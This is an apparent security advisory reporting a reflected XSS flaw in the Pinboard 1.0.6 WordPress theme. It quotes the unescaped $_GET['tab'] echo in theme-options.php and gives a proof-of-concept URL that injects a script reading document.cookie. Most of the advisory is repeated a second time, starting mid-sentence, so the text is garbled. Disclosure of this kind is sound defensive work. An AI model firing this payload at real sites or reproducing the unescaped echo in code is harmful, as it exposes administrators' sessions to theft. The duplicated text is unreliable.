Henrique Montenegro found an XSS vuln in the free Pinboard
1.0.6 theme for Wordpress. This XSS happens in one of the administration
pages so it can only be triggered by authenticated users.
Here is the part of the code that is compromised
(includes/theme-options.php):
<?php $tab = ( isset( $_GET['tab'] ) ? $_GET['tab'] : 'general' ); ?>
<input name="pinboard_theme_options[submit-<?php echo $tab; ?>]"
type="submit" class="button-primary" value="<?php _e( 'Save Settings',
'pinboard' ); ?>" />
<input name="pinboard_theme_options[reset-<?php echo $tab; ?>]"
type="submit" class="button-secondary" value="<?php _e( 'Reset Defaults',
'pinboard' ); ?>" />
The issue happens because the variable $_GET['tab'] is not being properly
escaped, causing the issue.
Here is a proof of concept:
http://wordpress_site_with_active_pinboard_theme/wp-admin/themes.php?page=pinboard_options&tab=
]"><script>alert(document.cookie)</script>
For accessing the URL directly, Firefox should be used as Chrome seems to
have some anti-XSS protections in place.
Source: Henrique Montenegro
1.0.6 theme for Wordpress. This XSS happens in one of the administration
pages so it can only be triggered by authenticated users.
Here is the part of the code that is compromised
(includes/theme-options.php):
<?php $tab = ( isset( $_GET['tab'] ) ? $_GET['tab'] : 'general' ); ?>
<input name="pinboard_theme_options[submit-<?php echo $tab; ?>]"
type="submit" class="button-primary" value="<?php _e( 'Save Settings',
'pinboard' ); ?>" />
<input name="pinboard_theme_options[reset-<?php echo $tab; ?>]"
type="submit" class="button-secondary" value="<?php _e( 'Reset Defaults',
'pinboard' ); ?>" />
The issue happens because the variable $_GET['tab'] is not being properly
escaped, causing the issue.
Here is a proof of concept:
http://wordpress_site_with_active_pinboard_theme/wp-admin/themes.php?page=pinboard_options&tab=
]"><script>alert(document.cookie)</script>
For accessing the URL directly, Firefox should be used as Chrome seems to
have some anti-XSS protections in place.
Source: Henrique Montenegro
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information